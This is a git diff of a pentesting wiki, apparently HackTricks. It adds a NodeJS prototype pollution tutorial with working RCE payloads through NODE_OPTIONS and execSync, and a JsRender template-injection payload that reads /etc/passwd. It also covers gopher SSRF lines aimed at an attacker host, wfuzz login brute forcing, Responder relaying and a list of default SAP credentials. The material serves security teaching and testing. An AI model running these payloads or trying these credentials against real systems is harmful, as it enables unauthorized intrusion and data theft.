I tried to find packages with similar issues, but most of them didn’t support serialization of function. I didn’t find any other way to reconstruct `functions in __proto__`. Nevertheless, as many packages use square bracket notation, we can rewrite `__proto__` for them too and spoil prototypes of newly created objects. What happens when an application calls any prototype method of such objects? It may crash due to an unhandled TypeError exception.
|
||||
|
||||
In addition, I should mention that the whole idea potentially works for deserialization from any format \(not only JSON\). Once both features are in place, a package is potentially vulnerable. Another thing is that `JSON.parse` is not “vulnerable” to `__proto__ rewriting`.
|
||||
|
|
@ -0,0 +1,287 @@
|
|||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
|
||||
## Objects in JavaScript <a id="053a"></a>
|
||||
|
||||
First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28389%29%20%281%29.png)
|
||||
|
||||
In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties.
|
||||
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image%20%28393%29.png)
|
||||
|
||||
Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}`
|
||||
|
||||
## Functions / Classes in Javascript <a id="55dd"></a>
|
||||
|
||||
In Javascript, the concepts of the class and the function are quite interrelated \(the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript\). Let’s see the following example:
|
||||
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image%20%28400%29.png)
|
||||
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image%20%28397%29.png)
|
||||
|
||||
## Prototypes in JavaScript <a id="3843"></a>
|
||||
|
||||
One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28394%29.png)
|
||||
|
||||
Functions of the class can also be modified \(like `toString` or `valueOf` the following cases\):
|
||||
|
||||
![](../../.gitbook/assets/image%20%28399%29.png)
|
||||
|
||||
![](../../.gitbook/assets/image%20%28396%29.png)
|
||||
|
||||
## Inheritance
|
||||
|
||||
In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object.
|
||||
|
||||
Note that, if you add a property to an object that is used as the prototype for a set of objects \(like the myPersonObj\), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on.
|
||||
|
||||
![](../../.gitbook/assets/image%20%28395%29.png)
|
||||
|
||||
## \_\_proto\_\_ pollution <a id="0d0a"></a>
|
||||
|
||||
You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!**
|
||||
|
||||
This is fairly simple, you just need to be able to modify some properties \(key-value pairs\) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme.
|
||||
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
|
||||
From the previous example it's possible to access the structure of Object using the following ways:
|
||||
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
|
||||
So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property:
|
||||
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
|
||||
person1.printHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
|
||||
So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant`
|
||||
|
||||
## prototype pollution
|
||||
|
||||
This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**.
|
||||
|
||||
If you are able to modify the properties of a function, you can modify the `prototype` property of the function and **each new property that you adds here will be inherit by each object created from that function:**
|
||||
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.sayHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person.prototype.newConstant = true
|
||||
person1.newConstant //This now works and is "true"
|
||||
|
||||
//The same could be achieved using this other way:
|
||||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
```
|
||||
|
||||
In this case only the **objects created from the `person`** class will be affected, but each of them will now i**nherit the properties `sayHello` and `newConstant`**.
|
||||
|
||||
**There are 2 ways to abuse prototype pollution to poison EVERY JS object.**
|
||||
|
||||
The first one would be to pollute the property prototype of **Object** \(as it was mentioned before every JS object inherits from this one\):
|
||||
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
```
|
||||
|
||||
If you manage to do that, each JS object will be able to execute the function `sayBye`.
|
||||
|
||||
The other way is to poison the prototype of a constructor of a dictionary variable like in the following example:
|
||||
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
```
|
||||
|
||||
After executing that code, **each JS object will be able to execute the function `sayHey`**.
|
||||
|
||||
## Examples
|
||||
|
||||
### Basic Example
|
||||
|
||||
So where’s the prototype pollution? It happens when there’s a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behaviour. The most commonly shown example is the following:
|
||||
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
```
|
||||
|
||||
Imagine that we have a prototype pollution that makes it possible to set `Object.prototype.isAdmin = true`. Then, unless the application explicitly assigned any value, `user.isAdmin` is always true!
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
|
||||
For example, `obj[a][b] = value`. If the attacker can control the value of `a` and `value`, then he only needs to adjust the value of `a`to `__proto__`\(in javascript, `obj["__proto__"]` and `obj.__proto__`are completely equivalent\) then property `b` of all existing objects in the application will be assigned to `value`.
|
||||
|
||||
However, the attack is not as simple as the one above, according to [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), we can only attack when one of the following three conditions is met:
|
||||
|
||||
* Perform recursive merge
|
||||
* Property definition by path
|
||||
* Clone object
|
||||
|
||||
### RCE Example
|
||||
|
||||
Imagine a real JS using some code like the following one:
|
||||
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
function isObject(obj) {
|
||||
console.log(typeof obj);
|
||||
return typeof obj === 'function' || typeof obj === 'object';
|
||||
}
|
||||
|
||||
function merge(target, source) {
|
||||
for (let key in source) {
|
||||
if (isObject(target[key]) && isObject(source[key])) {
|
||||
merge(target[key], source[key]);
|
||||
} else {
|
||||
target[key] = source[key];
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
function clone(target) {
|
||||
return merge({}, target);
|
||||
}
|
||||
|
||||
clone(USERINPUT);
|
||||
|
||||
let proc = fork('VersionCheck.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
You can observe that the merge function is coping one by one all the key-value pairs from a dictionary into another one. This may seem secure, but it isn't as the copy of the `__proto__` or `prototype` properties from a dictionary into an object may modify completely the structure of the rest of the JS objects \(as it was previously explained\).
|
||||
|
||||
#### RCE abusing environmental variables
|
||||
|
||||
This trick was taken from [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/).
|
||||
Basically, **if a new process** using node is **spawned** and you are able to **poison the environmental variables** it's possible to **execute arbitrary commands**.
|
||||
It's also **possible to poison environmental variables** y setting the **`env`** property in some object inside JS.
|
||||
For more information about why this works read the previously indicated URL.
|
||||
|
||||
You can poison all the objects `env` property abusing `__proto__`:
|
||||
|
||||
```javascript
|
||||
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hackermate').toString())//"}
|
||||
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
|
||||
let proc = fork('VersionCheck.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
Or all the objects abusing `prototype`from a dictionary `constructor`:
|
||||
|
||||
```javascript
|
||||
b = {"name": "Cat"}
|
||||
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"}
|
||||
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
|
||||
let proc = fork('VersionCheck.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
Executing any of the **last 2 chunks of code** \(and creating some `VersionCheck.js` file\) the file `/tmp/hacktricks` is going to be created.
|
||||
|
||||
Going back to the initial example if you substitute the `USERINPUT` with the following line arbitrary command execution will be achieved:
|
||||
|
||||
```javascript
|
||||
{"name":"Cat","constructor":{"prototype":{"env":{ "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"},"NODE_OPTIONS":"--require /proc/self/environ"}}}
|
||||
```
|
||||
|
||||
### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
|
||||
|
||||
$ .extend, if handled incorrectly, can change the properties of the object `prototype`\(the template of the objects in the app\). This attribute will then appear on all objects. Note that only the “deep” version \(ie g\) of $ .extened is affected.
|
||||
|
||||
Programmers often use this function to duplicate an object or fill in new properties from a default object. For example:
|
||||
|
||||
We can imagine `myObject`is an input field from the user and is serialized into the DB\)
|
||||
|
||||
In this code, we often think, when running will assign the attribute `isAdmin`into the newly created object. But essentially, it is assigned directly to `{}` and then `{}.isAdmin` will be `true`. If after this code, we perform the following check:
|
||||
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
```
|
||||
|
||||
If the user has not yet existed \( `undefined`\), the property`isAdmin`will be searched in its parent object, which is the Object added `isAdmin` with the value `true` above.
|
||||
|
||||
Another example when executed on JQuery 3.3.1:
|
||||
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
|
||||
These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery.
|
||||
|
||||
**CVE-2018–3721**
|
||||
|
||||
**CVE-2019–10744**
|
||||
|
||||
This bug affects all versions of Lodash, already fixed in version 4.17.11.
|
||||
|
||||
## What can I do to prevent?
|
||||
|
||||
* Freeze properties with Object.freeze \(Object.prototype\)
|
||||
* Perform validation on the JSON inputs in accordance with the application’s schema
|
||||
* Avoid using recursive merge functions in an unsafe manner
|
||||
* Use objects without prototype properties, such as `Object.create(null)`, to avoid affecting the prototype chain
|
||||
* Use `Map`instead of `Object`
|
||||
* Regularly update new patches for libraries
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
|
@ -633,7 +633,7 @@ whitelisted.com.google.com
|
|||
|
||||
## Open Redirect uploading svg files
|
||||
|
||||
```text
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
|
|
|
@ -199,9 +199,10 @@ QUIT
|
|||
|
||||
#### Gopher HTTP
|
||||
|
||||
```text
|
||||
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
|
||||
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
|
||||
```bash
|
||||
#For new lines you can use %0A, %0D%0A
|
||||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||||
```
|
||||
|
||||
#### Gopher SMTP — Back connect to 1337
|
||||
|
|
|
@ -220,6 +220,33 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
|
|||
|
||||
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
||||
### JsRender \(NodeJS\)
|
||||
|
||||
| **Template** | **Description** |
|
||||
| :--- | :--- |
|
||||
| {{: …}} | Evaluate and render output |
|
||||
| {{> …}} | Evaluate and render HTML encoded output |
|
||||
| {{!– … –}} | Comment |
|
||||
| {{\* …}} and {{\*: …}} | Allow code \(disabled by default\) |
|
||||
|
||||
* {{:7\*7}} = 49
|
||||
|
||||
#### Client Side
|
||||
|
||||
```text
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
|
||||
#### Server Side
|
||||
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||||
|
||||
### ERB \(Ruby\)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
|
|
|
@ -72,7 +72,7 @@ Then, a malicious user could insert a different Unicode character equivalent to
|
|||
|
||||
You could use one of the following characters to trick the webapp and exploit a XSS:
|
||||
|
||||
![](../.gitbook/assets/image%20%2895%29.png)
|
||||
![](../.gitbook/assets/image%20%28312%29.png)
|
||||
|
||||
Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e`
|
||||
|
||||
|
|
|
@ -45,7 +45,7 @@ In order to use a encoder, you have to indicate it in the **"-w"** or **"-z"** o
|
|||
|
||||
Examples:
|
||||
|
||||
```text
|
||||
```bash
|
||||
-z file,/path/to/file,md5 #Will use a list inside the file, and will trnasform each value into its md5 hash before sending it
|
||||
-w /path/to/file,base64 #Will use a list, and transforms to base64
|
||||
-z list,each-element-here,hexlify #Inline list and to hex before sending values
|
||||
|
@ -65,14 +65,14 @@ wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&
|
|||
#### **POST, 2 lists, filder code \(show\)**
|
||||
|
||||
```bash
|
||||
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 h"name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||
#Here we have filtered by code
|
||||
```
|
||||
|
||||
#### **GET, 2 lists, filter string \(show\), proxy, cookies**
|
||||
|
||||
```text
|
||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTML -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||
```
|
||||
|
||||
### Bruteforce Dicrectory/RESTful bruteforce
|
||||
|
@ -83,18 +83,24 @@ wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTML -b "PHP
|
|||
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
||||
```
|
||||
|
||||
### Path Parameters BF
|
||||
|
||||
```bash
|
||||
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
|
||||
```
|
||||
|
||||
### Header Authentication
|
||||
|
||||
#### **Basic, 2 lists, filter string \(show\), proxy**
|
||||
|
||||
```text
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTML --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
|
||||
```
|
||||
|
||||
#### **NTLM, 2 lists, filter string \(show\), proxy**
|
||||
|
||||
```text
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTML --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
|
||||
```
|
||||
|
||||
### Cookie/Header bruteforce \(vhost brute\)
|
||||
|
@ -102,13 +108,13 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTML --ss "Welcome" --ntlm '
|
|||
#### **Cookie, filter code \(show\), proxy**
|
||||
|
||||
```text
|
||||
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTML --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
|
||||
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
|
||||
```
|
||||
|
||||
#### **User-Agent, filter code \(hide\), proxy**
|
||||
|
||||
```text
|
||||
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTML --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
|
||||
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
|
||||
```
|
||||
|
||||
#### **Host**
|
||||
|
@ -124,7 +130,7 @@ http://example.com -t 100
|
|||
#### **Using file**
|
||||
|
||||
```text
|
||||
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTML --sc 200 -X FUZZ "http://example.com/index.php"
|
||||
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php"
|
||||
```
|
||||
|
||||
#### **Using inline list**
|
||||
|
@ -135,7 +141,7 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
|
|||
|
||||
### Directory & Files Bruteforce
|
||||
|
||||
```text
|
||||
```bash
|
||||
#Filter by whitelisting codes
|
||||
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
|
||||
```
|
||||
|
|
|
@ -126,7 +126,7 @@ Once administrative access to the BMC is obtained, there are a number of methods
|
|||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi_boot.png)
|
||||
|
||||
![](../.gitbook/assets/image%20%28198%29.png)
|
||||
![](../.gitbook/assets/image%20%28202%29.png)
|
||||
|
||||
## Exploiting the BMC from the Host
|
||||
|
||||
|
|
|
@ -19,3 +19,17 @@ Sample Output
|
|||
|
||||
From: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
|
||||
|
||||
Another way to obtain the firewall's hostname and ICA name could be
|
||||
|
||||
```bash
|
||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 x.x.x.x 264 | grep -a CN | cut -c 2-
|
||||
```
|
||||
|
||||
Sample Output
|
||||
|
||||
```text
|
||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||
```
|
||||
|
||||
From: [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
|
||||
|
||||
|
|
|
@ -45,7 +45,7 @@ responder -I <Iface> --wpad
|
|||
|
||||
Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" \(most probably a **NTLMv2 Challenge/Response**\):
|
||||
|
||||
![](../../.gitbook/assets/poison.jpg)
|
||||
![](../../.gitbook/assets/poison%20%281%29.jpg)
|
||||
|
||||
## **Inveigh**
|
||||
|
||||
|
@ -77,7 +77,7 @@ If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and ex
|
|||
python MultiRelay.py -t <IP target> -u ALL #If "ALL" then all users are relayed
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image%20%28153%29.png)
|
||||
![](../../.gitbook/assets/image%20%28209%29.png)
|
||||
|
||||
### Post-Exploitation \(MultiRelay\)
|
||||
|
||||
|
|
|
@ -241,7 +241,7 @@ Some really bad implementations allowed the Null PIN to connect \(very weird als
|
|||
|
||||
All the proposed WPS attacks can be easily performed using _**airgeddon.**_
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28260%29.png)
|
||||
![](../../../.gitbook/assets/image%20%28201%29%20%281%29.png)
|
||||
|
||||
* 5 and 6 lets you try **your custom PIN** \(if you have any\)
|
||||
* 7 and 8 perform the **Pixie Dust attack**
|
||||
|
|
|
@ -29,7 +29,7 @@ xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>
|
|||
rdp\_check.py from impacket let you check if some credentials are valid for a RDP service:
|
||||
|
||||
```bash
|
||||
rdp_check <domain>\<name>:<password>@<IP>
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
|
||||
## Nmap scripts
|
||||
|
|
300
pentesting/pentesting-sap.md
Normal file
|
@ -0,0 +1,300 @@
|
|||
# Pentesting SAP
|
||||
|
||||
### Introduction about SAP
|
||||
|
||||
SAP stands for Systems Applications and Products in Data Processing. SAP, by definition, is also the name of the ERP \(Enterprise Resource Planning\) software as well as the name of the company.
|
||||
SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management.
|
||||
|
||||
Each SAP instance \(or SID\) is composed of three layers: database, application and presentation\), each landscape usually consists of four instances: dev, test, QA and production.
|
||||
Each of the layers can be exploited to some extent, but most effect can be gained by **attacking the database**.
|
||||
|
||||
Each SAP instance is divided into clients. Each one has a user SAP\*, the application’s equivalent of “root”.
|
||||
Upon initial creation, this user SAP\* gets a default password: “060719992” \(more default password below\).
|
||||
You’d be surprised if you knew how often these **passwords aren’t changed in test or dev environments**!
|
||||
|
||||
Try to get access to the shell of any server using username <SID>adm.
|
||||
Bruteforcing can help, whoever there can be Account Lockout mechanism.
|
||||
|
||||
### Discovery
|
||||
|
||||
> Next section is mostly from [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) from user shipcod3!
|
||||
|
||||
* Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI.
|
||||
* Use OSINT \(open source intelligence\), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:
|
||||
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
inurl:/wsnavigator/jsps/test.jsp
|
||||
inurl:/irj/go/km/docs/
|
||||
https://www.shodan.io/search?query=sap+portal
|
||||
https://www.shodan.io/search?query=SAP+Netweaver
|
||||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||||
```
|
||||
|
||||
* Here is what [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) looks like
|
||||
|
||||
![alt text](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
|
||||
* Use nmap to check for open ports and known services \(sap routers, webdnypro, web services, web servers, etc.\)
|
||||
* Crawl the URLs if there is a web server running.
|
||||
* Fuzz the directories \(you can use Burp Intruder\) if it has web servers on certain ports. Here are some good wordlists provided by the SecLists Project for finding default SAP ICM Paths and other interesting directories or files:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web\_Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web_Content/URLs/urls_SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web\_Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web_Content/CMS/SAP.fuzz.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web\_Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web_Content/sap.txt)
|
||||
|
||||
* Use the SAP SERVICE DISCOVERY auxiliary Metasploit module for enumerating SAP instances/services/components:
|
||||
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > show options
|
||||
Module options (auxiliary/scanner/sap/sap_service_discovery):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
||||
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
TIMEOUT 1000 yes The socket connect timeout in milliseconds
|
||||
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
|
||||
rhosts => 192.168.96.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
||||
```
|
||||
|
||||
#### Testing the Thick Client / SAP GUI
|
||||
|
||||
Here is the command to connect to SAP GUI
|
||||
`sapgui <sap server hostname> <system number>`
|
||||
|
||||
* Check for default credentials \(In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration \| Using Default Credentials \| Production Server\):
|
||||
|
||||
```text
|
||||
# SAP* - High privileges - Hardcoded kernel user
|
||||
SAP*:06071992:*
|
||||
SAP*:PASS:*
|
||||
# IDEADM - High Privileges - Only in IDES systems
|
||||
IDEADM:admin:*
|
||||
# DDIC - High privileges - User has SAP_ALL
|
||||
DDIC:19920706:000,001
|
||||
# EARLYWATCH - High privileges
|
||||
EARLYWATCH:SUPPORT:066
|
||||
# TMSADM - Medium privileges
|
||||
TMSADM:PASSWORD:000
|
||||
TMSADM:$1Pawd2&:000
|
||||
# SAPCPIC - Medium privileges
|
||||
SAPCPIC:ADMIN:000,001
|
||||
# SOLMAN dialog default users and passwords.
|
||||
# For more info check:
|
||||
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
|
||||
# https://launchpad.support.sap.com/#/notes/2293011
|
||||
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
|
||||
SOLMAN_ADMIN:init1234:*
|
||||
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
|
||||
SAPSUPPORT:init1234:*
|
||||
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
|
||||
#SOLMAN<SID><CLNT>:init1234:*
|
||||
# Trial systems
|
||||
# -------------
|
||||
# AS ABAP 7.40 SP08 Developer Edition:
|
||||
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
|
||||
DDIC:DidNPLpw2014:001
|
||||
SAP*:DidNPLpw2014:001
|
||||
DEVELOPER:abCd1234:001
|
||||
BWDEVELOPER:abCd1234:001
|
||||
# AS ABAP 7.50 SP02 Developer Edition:
|
||||
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
|
||||
# AS ABAP 7.51 SP02 Developer Edition:
|
||||
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
|
||||
DDIC:Appl1ance:000,001
|
||||
SAP*:Appl1ance:000,001
|
||||
DEVELOPER:Appl1ance:001
|
||||
BWDEVELOPER:Appl1ance:001
|
||||
